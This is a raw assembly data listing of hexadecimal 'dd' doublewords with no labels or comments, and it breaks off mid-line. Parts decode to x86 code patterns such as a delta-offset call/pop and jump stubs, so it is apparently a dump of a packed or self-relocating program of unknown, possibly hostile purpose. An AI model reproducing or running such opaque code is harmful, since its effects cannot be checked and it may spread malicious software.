8321B706h dd 858902EFh, 60306D5h, 0BD894F4Fh, 6030865h, 0A2ECFF81h dd 850FFFFFh, 0FFFFFFAEh, 0BE9h, 0F6398E00h, 7F23C802h dd 6A34B7Ch, 98E9h, 9400h, 500h, 100h, 0A2800h, 200h, 20h dup(0) dd 1C9AE900h, 0BB6E979h, 0A680000h, 0E90608BEh, 0FFFAC1C9h dd 8BF0568h, 0C1BFE906h, 68FFFAh, 0E90608C0h, 0FFFAC1B5h dd 8C06568h, 0C1ABE906h, 8468FFFAh, 0E90608C1h, 0FFFAC1A1h dd 8C1E668h, 0C197E906h, 1868FFFAh, 0E90608C5h, 0FFFAC18Dh dd 8C63A68h, 0C183E906h, 6AF3FFFAh, 911735A1h, 0AE3654C0h dd 0C95371DDh, 0F1769400h, 0A9F5B420h, 238F60E5h, 45B17A05h dd 66D29B27h, 84F0C148h, 0EA08D37Fh, 8AD019F9h, 0CF56697Ch dd 8007FFFEh, 8DF843AFh, 9FB47FF3h, 99DC144Ah, 3736FF8Bh dd 0E47BF13Ch, 4D985A0Ah, 0B07BA955h, 0D0120742h, 0D3D22532h dd 1207D41Eh, 0F3F069D0h, 3AA56E65h, 62A55Ah, 29F40000h dd 0A2B024FCh, 79FF4F18h, 0B6AEA9A8h, 68FEC18Ch, 6B78DC14h dd 0F4FAC5F7h, 7CD01266h, 0DC2776Fh, 0D01266E3h, 935E9058h dd 0D012665Dh, 35100815h, 0D45E6C38h, 0D5DBCA13h, 79CC5445h dd 9B877F7Ah, 5A3AFD50h, 8B54DEECh, 57264C17h, 0C1CED012h dd 0F98EC9h, 757E0000h, 0EE4D783Eh, 622D2552h, 0FFFECF56h dd 0B2B18207h, 5B996496h, 0C1D61145h, 746F6E37h, 32FD717Eh dd 0D611453Ch, 0A9AFA7B4h, 5A525122h, 0BB9602D3h, 0D611493Ah dd 8E02D35Ah, 4063915Ch, 0D2BED611h, 0E9773D3Bh, 0A39BA89Eh dd 0BDC6381h, 0E2BEE70Ch, 0BEA4A36Eh, 0B4BEDC14h, 65605F28h dd 5B64A612h, 43A233B7h, 194C4448h, 97A014ECh, 2E5ACD77h dd 2E3C2912h, 8208E02Bh, 22ED170Fh, 0DA15B207h, 0F34AD8E1h dd 0D77431C9h, 19F3E60Ch, 2E818EDAh, 97D8A36h, 39A576FBh dd 6EC5961Bh, 0D4BDB26Ch, 45697071h, 60000009h, 84A20ED7h dd 0A3C12DFEh, 0C0DE4A1Bh, 0E3016D36h, 62218D5Eh, 0FCCD5216h dd 1EE77290h, 3F0894B2h, 5D2EB5D3h, 7540ECF1h, 0D019FB7Fh dd 56D6E9F7h, 769400D1h, 9CAA1EEFh, 2B4D4516h, 86ECB7E9h dd 6ED61145h, 0CC22ED61h, 0A4D61145h, 32D49F97h, 0D7CF9824h dd 2B9F79A4h, 3ECA981Dh, 287B7675h, 0C362E29h, 14687E41h dd 62EEF8DCh, 54E64E99h, 0C1CACA29h, 0B0BA6F6Eh, 5D012C1h dd 0CA018F8Ch, 415A3A67h, 0B7h, 0FECF5690h, 0B18207FFh dd 4978FDB2h, 159CD611h, 3AC2D044h, 314F7169h, 5C65D9AAh dd 8550F49Ah, 0D6119A6Fh, 0CEAFFA07h, 1CD1C958h, 6BF58EF7h dd 10DB4FA2h, 0DC147C0Bh, 9CAA1E2Bh, 4C474617h, 0BEE73254h dd 97A36EE2h, 0CFDA15C9h, 0BB404EC2h, 3CCD33F2h, 1A6D05A6h dd 4BA974A6h, 2BDA1995h, 0E604261Eh, 2D399061h, 46D4BDCCh dd 84A3E45h, 0D25B0000h, 0F97F9D09h, 169EBC28h, 31BBD945h dd 59DEFC68h, 115D1C88h, 8BF7C84Dh, 0AD19E26Dh, 0CE3A038Fh dd 0EC5829B0h, 2703BE7h, 0F2D019FAh, 0D156D1E4h, 0EF769400h dd 6270B21Eh, 0F0A09DAh, 6D6C35BFh, 56AF7A72h, 7FFFECFh dd 3C26B280h, 11450371h, 93E6F3D6h, 1C89D440h, 342A678Ch dd 54DA25D0h, 69DD3083h, 343A0537h, 0BCD611A0h, 2AF4B7AFh dd 22DC1AE5h, 0C93A115h, 0EF4CF3Bh, 88D018E4h, 0E7658B56h dd 0DD018h, 0D5A5D508h, 0CE870869h, 6812D157h, 11150A21h dd 947F4ABEh, 20DA1DD5h, 95CD23EEh, 77A5DA1Dh, 1D9546ACh dd 0CE212EDAh, 95202AD6h, 0F64979CCh, 65D6EC3Dh, 26AC77AEh dd 0C38E0255h, 43C1A138h, 0BBB984B2h, 3B73C9A8h, 0B7DCDB2Eh dd 733EB24Eh, 79CF2CD1h, 901E4449h, 38D0C0Dh, 0A72E3CB0h dd 0C54C6AD6h, 49879DF4h, 0B3B47494h, 74FACh, 4CD5600h dd 23F47A98h, 401199B7h, 632CB6D4h, 8354D9F7h, 480C5817h dd 6886F2C3h, 8AA814DDh, 0ABC935FEh, 0E2E75324h, 85056B36h dd 0DFEDD019h, 24FC29CCh, 0EA707EB0h, 0C45E2119h, 8CDC1A00h dd 0CBD90B7Fh, 658B5640h, 0DD019FEh, 0AFB5AD00h, 0CEEC5829h dd 80787748h, 0B1D128F9h, 0F2CEBDB6h, 6EAEAF1h, 32BB0000h dd 59DFFD69h, 76FE1C88h, 911B39A5h, 0B93E5CC8h, 71BD7CE8h dd 0EB5728ADh, 0D7942CDh, 2E9A63EFh, 4CB88910h, 0A2D09B47h dd 52D01985h, 0FC293144h, 707EB024h, 50DF21EAh, 0ADB1DC6h dd 22FCBFB7h, 2ADC1AA3h, 6977A91Dh, 181E16DFh, 954C091h dd 0D71DE891h, 9FD0181Ah, 0CB3F92h, 0D0181A86h, 2DFE848Eh dd 0CD26DBDAh, 72D0181Ah, 656EFCF9h, 0C15A30B8h, 0F2C00B8h dd 0FA4AD94Fh, 72ADA56Eh, 39h, 29F129C1h, 45F8EAB5h, 6670D611h dd 0C1C013DCh, 401197A5h, 8B4E4641h, 0D6114561h, 0D2605DD6h dd 5C39E719h, 1014h, 0A0476300h, 0EB000001h, 4CE7C3E2h dd 140C2307h, 0CD7E1349h, 96DCA750h, 5ED61145h, 0ACFFC854h dd 27DCE559h, 0AA233412h, 3B063028h, 0DC1410D0h, 0CA1D4D5Ah dd 83B87F0Ah, 8D19E21Bh, 77CAC5C4h, 0AEC8D103h, 8ED0653Ah dd 0E37C3F37h, 6B69BA2Dh, 0C33A5F5Eh, 54F6C135h, 0CC67A6A9h dd 0B63D4BBFh, 0D45B79E5h, 0E082AC03h, 0D6D78A6Ch, 5CBCFh dd 8851DA00h, 0A778FE1Ch, 0C4951D3Bh, 0E7B03A58h, 7D85D7Bh dd 0CC90DC9Bh, 0EC0A7647h, 0E2C9861h, 2F4DB982h, 666BD7A8h dd 8481EFBAh, 6371D019h, 0FECF5650h, 0DDA3DAFFh, 0F3B46BA5h dd 31A5F897h, 9D66F1FFh, 2B41E2A5h, 8D9BDC14h, 3E393801h dd 218D9A46h, 54AB7C03h, 0CEB86320h, 69818889h, 3C000005h dd 607EEAB3h, 7F9D09DAh, 9CBA26F7h, 0BFDD4912h, 3EFD693Ah dd 0D8A92EF2h, 0FAC34E6Ch, 1BE4708Eh, 390A91AFh, 511CC8CDh dd 0D0198423h, 56B2C5D3h, 0E81F06CFh, 0F17A2A10h, 4B4A1BA1h dd 6FEFD50h, 0ACC28D7Fh, 44D61151h, 37E5E437h, 4CD37B78h dd 0C00B0F7Bh, 4B5C39F3h, 2Ah, 24FC299Ah, 0BDB37EB0h, 35D61145h dd 3B063028h, 0DC14660Ch, 0C57A7986h, 0D01265ABh, 0C9A9710h dd 5A3AC3C7h, 4E4Eh, 0FC299D00h, 757EB024h, 0A5041275h dd 16E76D6Eh, 7708CBC3h, 71DC143Eh, 120ADB63h, 0D7E55966h dd 0E3408A4Bh, 0A342644Fh, 0FC2E5850h, 0AD7862EEh, 0D012C947h dd 0D7CF222Fh, 0E7A4BD1h, 12C93833h, 0D158D0h, 1FF07694h dd 4961920h, 321C0000h, 0D3CB9C24h, 279B65A0h, 0DF48FB1Eh dd 0E418C55h, 2FC20D76h, 4567F844h, 37022C24h, 0DC14C2A0h dd 1E161522h, 4501CE97h, 0D947DE0Eh, 0FDA78786h, 0B5B4A6F4h dd 948C0085h, 0BEE7BCB9h, 0D4A36EE2h, 8EDA1784h, 2E2DFE84h dd 5674E033h, 7C8AFECFh, 2F2726F7h, 0DDD8D7A8h, 0E2B33A8Ah dd 3BF0E8E3h, 8A14EF16h, 74C7C2C1h, 9F68F200h, 0F5B27DA7h dd 6DD012B6h, 64436160h, 6738BF67h, 0AB75B0FBh, 94C76C37h dd 0A2AFCE1Dh, 5324ABA3h, 5A573654h, 2AFB808Eh, 538302Bh dd 0C18C0098h, 0C4197272h, 0A172FA04h, 3DC4E24Eh, 0A1EFF86Ch dd 0CA99B011h, 0F9F1A69Eh, 0C4A4A374h, 3DC46C69h, 961EE46Fh dd 787372C5h, 0DA8B125h, 9D70226h, 539EC0B8h, 0FDA4E2Ah dd 0C204A2A8h, 870C1A4Ch, 0AFBCB7B6h, 0F202A541h, 4AD42431h dd 0D0DD8981h, 8152D9D1h, 37058A82h, 0E4DFDEAFh, 0E9A9291h dd 0E38E4645h, 97C53BE6h, 38300189h, 8B94605Dh, 8C8D0082h dd 588B8327h, 0D6DF532Dh, 75AEF4A1h, 20E9753Dh, 0DBD32621h dd 0D5C1E6B1h, 94A1F807h, 53D8E628h, 0DBAC3282h, 8556DDE3h dd 36078E86h, 8B5688CAh, 0FC079165h, 0DE14DF0Dh, 96FC0791h dd 0B3E3689h, 60920692h, 0FCFBCC52h, 58AB7C04h, 9E769D60h dd 0F300F602h, 43CAD8F4h, 80787372h, 89CB3BDh, 928F08E6h dd 203ECF04h, 41466Ch, 28360000h, 10DBD39Ch, 68F20032h dd 98A5A09Fh, 0D611455Ah, 0E2150D1Ah, 9E69DDBBh, 0DC14681Dh dd 165C2755h, 0DED01266h, 0CA7F7ED1h, 0D01266A0h, 0B93F4D15h dd 1815F0E8h, 3AC0418Ah, 0F0CC5Ah, 561B0000h, 588AFECFh dd 1145678Dh, 8E0A0FD6h, 0F458894Ah, 4F04FC4Fh, 0D309D257h dd 0D691E21Bh, 8242376h, 0F09921FFh, 1D15CB16h, 38C29017h dd 2275706Fh, 61FE0723h, 14062E57h, 7C030901h, 9BB1BF8Ah dd 3441D611h, 553BDEE9h, 50A3E09Ch, 5FB6D3DCh, 0F4EF1581h dd 7EFFDAFCh, 9ED61194h, 0F3C44917h, 3AA6F9F4h, 0C5C4951Ch dd 460F9BA9h, 0A09F70F6h, 37AADA5h, 75360175h, 0EDDC14AEh dd 0FC2974E0h, 0EDE5B024h, 89DA1512h, 75FA087Ch, 951A38A4h dd 9C2F6DC4h, 0ABACD4BEh, 237A4h, 1CE56E00h, 3B0C92B0h dd 5829B1CFh, 7B44CEECh, 9B6CF10Fh, 6024702Fh, 809E0ADBh dd 0A2C02CF5h, 0C3E14D16h, 0FAFF6B3Ch, 806D834Eh, 0F705D019h dd 0D156E4h, 67495294h, 73AAEECh, 0B83F453Dh, 334173E7h dd 0E5E0DFA8h, 118A9AD8h, 554D5AD6h, 0FC295033h, 0C2E5B024h dd 9CDC1468h, 91DB908Fh, 26D01266h, 13612C5Eh, 0E3D01266h dd 599762D6h, 19D01266h, 3C39140Ch, 3AC025AEh, 1FF8015Ah dd 4DBEF40Dh, 1EEF75C5h, 0E0EB26h, 563A0000h, 0B17701CFh dd 635E5D26h, 693AC010h, 0EDFB1716h, 0CFAC9C65h, 14BD1DABh dd 1EE771C1h, 262C241Fh, 2A5CD0A1h, 11C0115Fh, 0DCD4E1D6h dd 0CCF37227h, 8A11D611h, 0FD0B4DB9h, 4F20A876h, 0A02FDFCh dd 0ADAC7D04h, 0F831D88h, 14C56344h, 4A747DDCh, 6C75D984h dd 2C7F50D7h, 77B8834h, 0A8A071F9h, 0B1364486h, 0EEE6E1E0h dd 42B642BBh, 1511BA77h, 3BAFBCDAh, 0DBDAA32Dh, 3B0490E0h dd 1F49413Ch, 4FBB8C11h, 84DBAC31h, 0D4BE963Ch, 15C5CCCDh dd 90000001h, 0B4D23E07h, 0D3F15D2Eh, 0F00E7A4Bh, 13319D66h dd 9251BD8Eh, 2CFD8246h, 4E17A2C0h, 6F38C4E2h, 8D5EE503h dd 0A5701C21h, 0D019834Fh, 56061927h, 5A8C00D1h, 0E8F5C64Ch dd 0D611458Ah, 0ADB606Ah, 0C5BD100Bh, 2DFE85A3h, 2432DEC1h dd 0D7D2D19Ah, 8152D9DFh, 11038A82h, 0B1B07903h, 454BA9B6h dd 1E2BD611h, 0E9145FCBh, 5B699B0Fh, 4D1008D1h, 0DC1A0167h dd 858E020Fh, 662C237Dh, 0C0756D6Fh, 47041C8h, 6329B4C2h dd 0C3BB0ED7h, 666536BDh, 2DB26EB1h, 6E6BC653h, 0FA6E3FC6h dd 38F7FDC8h, 9D25530Dh, 0D1C9D6CCh, 0D35F6DAFh, 850C120Ah dd 38AAC893h, 404A530Dh, 0F2EDECB5h, 0F6C74F9Fh, 7F88A4A3h dd 0C5F4E52Dh, 4C524A10h, 5385F9C2h, 0DFC6A88h, 0AD050A53h dd 0D5A87CBFh, 5F140C5Fh, 0BD656241h, 39BB6D36h, 5F5E2FB5h dd 0AEB71964h, 0E5584B96h, 0F5B012D7h, 911836A2h, 0B43E4CC0h dd 373EF3EBh, 0Ch, 5329323Ah, 93516231h, 9FB6BEB6h, 504CD56h dd 0B6B5860Dh, 6A6932BEh, 1F1EE772h, 0D2D1A227h, 858455DAh dd 3B3A038Dh, 0EBEABB43h, 9D9C6DF3h, 0E089506Fh, 405h dd 4E88300h, 5C240487h, 56240C89h, 0C681E689h, 4, 4EE81h dd 34870000h, 34895C24h, 0E1895124h, 4C181h, 0E9830000h dd 240C8704h, 2404895Ch, 41F2BA52h, 81425538h, 0DC4AFBEAh dd 5BEA817Ch, 89D2533Ah, 24148BD6h, 5404C483h, 8124048Bh dd 4C4h, 34815600h, 3C3F8D24h, 8408F1Fh, 8B951h, 0C1010000h dd 3F8D3181h, 0FF591F3Ch, 83582434h, 34FF04C4h, 0C4835E24h dd 0B61FE904h, 0E48BFFFAh, 8C774B8h, 0FFC50306h, 86C8A9E0h dd 0F947D37Eh, 7B40921Ah, 42A40B02h, 42FA8006h, 3A0FB665h dd 1B72C50h, 816E5314h, 0DD24761Ah, 24EB16h, 8 dup(0) dd 0E9000000h, 0BDh, 0C832B589h, 858B0608h, 6031D89h, 2509858Bh dd 0B58D0603h, 608C87Ch, 4ED7858Dh, 0D0FF0606h, 0E855C3h dd 5D000000h, 0C882ED81h, 0BD830608h, 6031D89h, 2C850F01h dd 0FF000000h, 8C832B5h, 9858B06h, 35060325h, 34812736h dd 13CD0FFh, 0A850Fh, 1B80000h, 0E9000000h, 47h, 40E9C033h dd 6A000000h, 36B58D1Ch, 560608C8h, 0C832B5FFh, 858B0608h dd 6032509h, 81273635h, 83D0FF34h, 0B58D0CC4h, 608C836h dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h dd 1B80000h, 83000000h, 31D89BDh, 850F0106h, 7, 2E9C35Dh dd 5D000000h, 5B858DCFh, 890608C8h, 31C7585h, 348D8D06h dd 6A0608CAh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 73FAC352h, 2A84D510h, 8B66D58Eh dd 0A58D89F7h, 6A060320h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0AD09C352h, 463877F4h dd 0C7DF8B7Fh, 31A6585h, 634C06h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0BA662DACh dd 0C68B58E0h, 7185C7h, 603h, 0BD030000h, 60317E1h, 2021B5FFh dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 48E619C3h, 23118594h, 0F76A196h, 0B70FDBB7h dd 96F281D6h, 0FF5D30A3h, 3171D95h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 9AA01AC8h dd 13E931C7h, 23000000h, 0A77D5FC5h, 0A9C47159h, 835EAE7h dd 580D03E2h, 6A822Bh, 23A595FFh, 0C08B0603h, 640D09EBh dd 1A8CC25Fh, 0E87533DCh, 8, 10865A51h, 183E06EEh, 0DE9h dd 81F9B900h, 0F7CF2B83h, 2BD0EFFAh, 95B0C7Ah, 31D698Dh dd 39C38106h, 60000073h, 77BEC3B8h, 52DEBB42h, 2B612BB5h dd 0C18166F6h, 3C8BD942h, 0B9858933h, 8106032Ah, 2C60A1EFh dd 0D0816675h, 0EF81C7C5h, 73209CE0h, 1AC3F781h, 858B2AA9h dd 6030C55h, 27C08057h, 0B533048Fh, 0BAB86673h, 4EE8363h dd 0CA58D8Bh, 0FE810603h, 0FFFF8D70h, 1F850Fh, 9D310000h dd 60319B5h, 20E9h, 0D04D3000h, 13CDDAF9h, 0D12E9B48h dd 3EDDB169h, 12DE8E25h, 0E907B439h, 0FFFFFF92h, 0D0DFA4D4h dd 0CF8D8DBBh, 6A0608CBh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 30CCC355h, 1E502580h dd 0DEAC3277h, 4E5BCBEh, 0F18B665Bh, 20A58D89h, 6A0603h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0B50687C3h, 1A6585C7h, 64A00603h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0F7F046C3h dd 1A0DE5B5h, 89FB29B3h, 30735B5h, 0DCCA8106h, 0C704A7B5h dd 3007185h, 6, 61BD0B00h, 0FF06032Fh, 31AB1B5h, 1D95FF06h dd 6A060317h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 123C357h, 8BAFE47Bh, 31FA195h dd 0FF006A06h, 323A595h, 0EBC08B06h, 3A65632Ah, 0D6B23BAFh dd 4456055Ah, 0D1842ADAh, 7E571567h, 4B4EE157h, 52F03BA5h dd 12C73593h, 0E6F253C8h, 575C5053h, 0E89539BFh, 13h, 0FC7EDAC0h dd 3B888B8Bh, 70BE41B5h, 220CDC6Dh, 8B66EC69h, 30839B5h dd 9D895B06h, 6031C25h, 65A5C381h, 3BBA0000h, 8B000019h dd 8B33FFFEh, 30E95BDh, 0C0815806h, 1DA82A64h, 4EF5E181h dd 0C081226Dh, 624B0CE9h, 28C0Fh, 0CA8A0000h, 2C78E881h dd 7CBF062Bh, 893FAC5Ch, 0A9B58B03h, 8306030Fh, 0BD8B04EBh dd 6031D4Dh, 1EA81h, 850F0000h, 29h, 168A0Fh, 11E90000h dd 3F000000h, 88482A76h, 0A956E02Eh, 67F41DB1h, 4A5B7B5Eh dd 24E9h, 64AF9D00h, 0E5E9DBF1h, 71858909h, 0E906032Ah dd 0FFFFFF81h, 9029E668h, 34FA1ABAh, 0CFF1CE0h, 9B83B1F7h dd 0ABE95Bh, 8D500000h, 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h dd 97B3ED72h, 0A601E800h, 323D94E7h, 5B21E583h, 1371E96Dh dd 8F680000h, 0E90608CFh, 0FFFAB0A1h, 8D05468h, 0B097E906h dd 4968FFFAh, 0E90608D1h, 0FFFAB08Dh, 8D28968h, 0B083E906h dd 2668FFFAh, 0E90608D3h, 0FFFAB079h, 8D3D968h, 0B06FE906h dd 7668FFFAh, 0E90608D4h, 0FFFAB065h, 8D54568h, 0B05BE906h dd 1368FFFAh, 0E90608D6h, 0FFFAB051h, 8D75968h, 0B047E906h dd 8B68FFFAh, 0E90608D8h, 0FFFAB03Dh, 8D9D768h, 0B033E906h dd 3568FFFAh, 0E90608DBh, 0FFFAB029h, 8DD0868h, 0B01FE906h dd 0F168FFFAh, 0E90608DDh, 0FFFAB015h, 0A30FD861h, 0C22EFF85h dd 0DF4B1CA4h, 26E37C1h, 228E5FE4h, 0CE531763h, 0E87391FDh dd 995B31Fh, 2FB6D440h, 41EDF25Eh, 198B7876h, 78EAF8D0h dd 1A12E36Ah, 0FECF564Fh, 98F0818Ah, 0F6EF139Fh, 0CA5149FEh dd 194B8DF9h, 1164204Eh, 0CBC3D0D6h, 10966D98h, 5924403Fh dd 0D611641Bh, 287BCEDBh, 6BAAE9B4h, 3F4CDC14h, 320BC2CBh dd 755CAE14h, 0D913C87Dh, 5ED01263h, 915AE8E5h, 0AD5A3AC1h dd 0BA5AADA4h, 968E6B79h, 535Bh, 0B63D4B00h, 53EAC4EDh dd 5AADBF6Ah, 0FC299762h, 707EB024h, 221D1CE5h, 458DE3AEh dd 5865D611h, 681A9D60h, 0C8D6DC14h, 78737243h, 64EC552Dh dd 0B5ADFAA6h, 48FDFC09h, 0D012402Eh, 511D1A93h, 401E541Fh dd 0C9D6D012h, 0E6EEE5D1h, 0DE255A3Ah, 74000000h, 8AFECF56h dd 22387381h, 0C8C0AFDFh, 0C5961B13h, 0EABB4351h, 5DCFF8EBh dd 0F4072FC4h, 0D8F4A9A1h, 0A5ED9ACFh, 0F9F113EAh, 279B6CF3h dd 0CCC48D19h, 61EDFB17h, 16A19998h, 20AAFA4Dh, 655D5857h dd 9B07D85Fh, 1197BFC0h, 8556DDD6h, 0A374FB19h, 82067FA4h dd 4A367869h, 0F66ABDAFh, 14402C2Bh, 0CD3946DCh, 3A4F828Bh dd 0CA217D58h, 9A669FD2h, 53DE5B26h, 0E81ADA15h, 181BD71Dh dd 0D61B4ADAh, 9A069514h, 0F39F97A4h, 0DF6472E6h, 8C478316h dd 0C81B2114h, 0E8B93E5Ch, 0BEB66791h, 0B4BBBCD4h, 109Eh dd 27935CE5h, 46B28309h, 63CFA028h, 86F2BB45h, 0A612E368h dd 52D79BE7h, 6CF71581h, 8D1937A3h, 0B33A58C4h, 0C57176E2h dd 198AF4FAh, 5B6E7CD0h, 9400D156h, 0B21EEF76h, 24FC29CFh dd 68C2E5B0h, 8F9CDC14h, 6691DB90h, 0AD26D012h, 0E7B2E4B0h dd 0D0126689h, 854FB614h, 0C3B9EFD2h, 4148DEBEh, 8CDFF138h dd 1823A894h, 0A0EA5A3Ah, 0DA000000h, 7A7942CCh, 56BC877Fh dd 7FFFECFh, 0FDB2B182h, 0D61149FAh, 56C2931Ah, 0E1E0B138h dd 43B741BCh, 145B9378h, 1A8693DCh, 56CA56CFh, 9BFDBE48h dd 0D4F7ADAh, 0F3EEED40h, 3206D1FBh, 32DA1532h, 1EA3B125h dd 3EC3E14Dh, 82E2166Dh, 4A4BD4BEh, 0FD943h dd 5821AA00h, 7748CEECh, 9465ED0Bh, 0B7800A28h, 0D7A82D4Bh dd 9C60AC6Bh, 0BCDA4617h, 0DEFC6831h, 0FF1D8952h, 363BA778h dd 95B1BF8Ah, 3341D019h, 0D15620h, 0C8495294h, 4CBA477Ch dd 0E86F756Dh, 52C52BF6h, 0A0ADD611h, 32FEE14Dh, 0CCCB9C24h dd 4CD3D9D1h, 52607C7Bh, 8E1304CDh, 0C305C400h, 7E767170h dd 0B420F178h, 3E3D0E96h, 82EEBF46h, 0BFE66D21h, 0A9A26DE1h dd 0C1DC14ADh, 0D6031B7h, 26F123DDh, 0D012ACC8h, 8AC3953h dd 5C52D655h, 5B94574Fh, 8CCB98F6h, 33048A11h, 0FA7575E8h dd 419453F3h, 0F22502CDh, 0B1BF2199h, 80085829h, 0BDB5B0AFh dd 0E0050411h, 9C67DBA5h, 0DF8709FAh, 0E8F16572h, 43D0136h dd 0CC970BB2h, 0DF865DA6h, 1F49414Eh, 4DB98A11h, 0E00ED90Bh dd 90DF865Dh, 0DBAC3383h, 0E3E9E1DCh, 0F6348B5Ch, 73D24C23h dd 0EE46B72h, 169F0000h, 3DC3E14Dh, 5AE2006Ch, 75FF1D89h dd 9D2240ACh, 55A160CCh, 0CF3B0C91h, 0F15D26B1h, 127E47D3h dd 309C6DF4h, 0BEB47F2Bh, 36D01994h, 0CF561528h, 0A3DAFFFEh dd 0F99661D5h, 0FBDC144Bh, 979667EDh, 0E5D7F6A4h, 3561FCFh dd 0EEAEC48Fh, 3946D012h, 14889541h, 0EED917E2h, 8C99D012h dd 0EDE5B63Ch, 7B0580CBh, 0D8173C07h, 929FDA17h, 9D94DE93h dd 6129DA17h, 1F6B3058h, 1F9471Eh, 4F5D2926h, 0AB74FFC5h dd 665E5958h, 3FF2717Ah, 43BC50h, 290B0000h, 0E5B024FCh dd 0DC149212h, 3D4BBFCCh, 0EAE5E4B5h, 8896C8F2h, 3A3534FDh dd 0E7B03C42h, 0B54A07Bh, 70A2D012h, 120B4FA5h, 221A27D0h dd 42CC951Ch, 0C502D183h, 2C4AB609h, 0D1D8D7A0h, 0E0Eh dd 24FC29D4h, 122FE5B0h, 0C2C7DC1Ah, 0CF2396F4h, 0B7FD273h dd 39A576FDh, 0C4C3941Bh, 41129AA8h, 11EF1649h, 0AC5DD29Dh dd 1015DA12h, 0A16C868Eh, 0DA000D53h, 94CB1623h, 45169E21h dd 0A5F84B46h, 66F1FF31h, 0ABA39E9Dh, 0E14D1EA5h, 6C6B3CC3h dd 0BA45DE47h, 5F2A9EF1h, 0D005E784h, 0A2EA414Eh, 33DAC9BDh dd 0DA42B32h, 56DF0000h, 7D03218Dh, 9A2240ACh, 0B53F5DC9h dd 0DD6280ECh, 95E1A00Ch, 0F7B4CD1h, 319D66F1h, 52BE8713h dd 70DCAD34h, 0FEF4BF6Bh, 76D01997h, 24325568h, 2885D099h dd 0E953F7BBh, 717B3E36h, 72D611B6h, 2EF96D0Bh, 0DC1AE1F9h dd 0EB9AF2FBh, 71C66AA5h, 3DC3CD79h, 1F726D6Ch, 45169DABh dd 0D58E97D9h, 419DDA93h, 3D33FE72h, 0B5D0184Ch, 23AAB0A8h dd 4AD0DE52h, 0A7CC8179h, 5019A57Eh, 17E25651h, 0D0184CD9h dd 0C5398C99h, 1D4255FAh, 79D0DDDAh, 0D4C11C27h, 7C4CBCCh dd 7C00000Dh, 0A0BE2AF3h, 0BFDD491Ah, 0DCFA6637h, 0FF1D8952h dd 7E3DA97Ah, 18E96E32h, 3A038EACh, 5B24B0CEh, 794AD1EFh dd 915C080Dh, 0D0199663h, 56F20513h, 7FFFECFh, 0B8B0AF80h dd 6A626132h, 5C1413E4h, 8E09B4B1h, 0A52EBCB9h, 705C39E7h dd 70Dh, 0FFC85260h, 29B50500h, 6E666160h, 24FC29A3h, 12A1E5B0h dd 303DDC1Ah, 0F57C8ABCh, 322A2524h, 68D4A52Ch, 3E191D26h dd 0E9A322F8h, 9364EBF1h, 2295DF94h, 0AFD6D019h, 1D2B5DD1h dd 0D2C5C495h, 2D01CC36h, 4E99EC87h, 82EEE621h, 0CA8D8585h dd 0DA1C0E05h, 0ED49A0ADh, 0A6D4C056h, 0C549EA5h, 0A62F0000h dd 0CD5371DDh, 0EA7290FCh, 58FAD19h, 2DB2D03Ch, 0E531F05Ch dd 5FCB9C21h, 81EDB641h, 0A20ED763h, 0C02CFD84h, 2E440FBBh dd 0C6D01996h, 0CF56A5B8h, 8007FFFEh, 0B88DB0AFh, 0E7A62DBBh dd 666D5C39h, 0BC000006h, 11455F99h, 8E1590D6h, 74E83B04h dd 0E8A93442h, 3ED70758h, 0BEB609B9h, 1A019BFBh, 128693DCh dd 40AC7D04h, 6D9BF5FEh, 5DDD6AAAh, 7D85F65h, 0DEBAE308h dd 6D75C6Ah, 0D220EB07h, 0A2D0196Dh, 204A4295h, 1C63BE55h dd 0D42B38DAh, 0D4C0396Eh, 0B7333A3Bh, 0CC00000Bh, 0F00E7A43h dd 0F2D996Ah, 2C4AB687h, 4F6DD9A2h, 0CE8DF9CAh, 6839BE82h dd 8A53DEFCh, 0AB74001Eh, 0C99A213Fh, 0E1AC585Dh, 0D0199193h dd 32425563h, 7B087429h, 0B93F7955h, 9BEEE9E8h, 96165C27h dd 0D1DED611h, 7B4CD3D9h, 2FFD847Ch, 8887DAA3h, 0C7939065h dd 764133B9h, 0D6119678h, 9998EBF8h, 0F9C24E9Eh, 34DE1501h dd 9E555C39h, 0A4000005h, 0CD9E2432h, 0A8DBD3CEh, 0FD2FA37Dh dd 11453C32h, 6CF5AD6h, 0E10B0310h, 1A128316h, 481345DCh dd 0D0198B2Ah, 19C5BDCAh, 5D66980Ch, 0E14E6BCFh, 0F1DB26A2h dd 290B600Ch, 8B121810h, 0A9304EBAh, 0CA24D9D8h, 1BD019E4h dd 0D7A216E2h, 0DA1CEA38h, 0E656ADBAh, 0C7D4C0B3h, 0AE8BFC6h dd 129B0000h, 39BFDD49h, 56DEFC68h, 71FB1985h, 991E3CA8h dd 519D5CC8h, 0CB37088Dh, 0ED5922ADh, 0E7A43CFh, 2C9869F0h dd 42B07B27h, 32D01990h, 29321124h, 0EE9B6F94h, 0E3E9E1AFh dd 948C8B5Ch, 1A3D3C0Dh, 0FBF9C4F6h, 7BD61177h, 0CA931E6Eh dd 0FDD8D0CBh, 0D5797200h, 0E2B45C39h, 0A4000004h, 0A443B59Bh dd 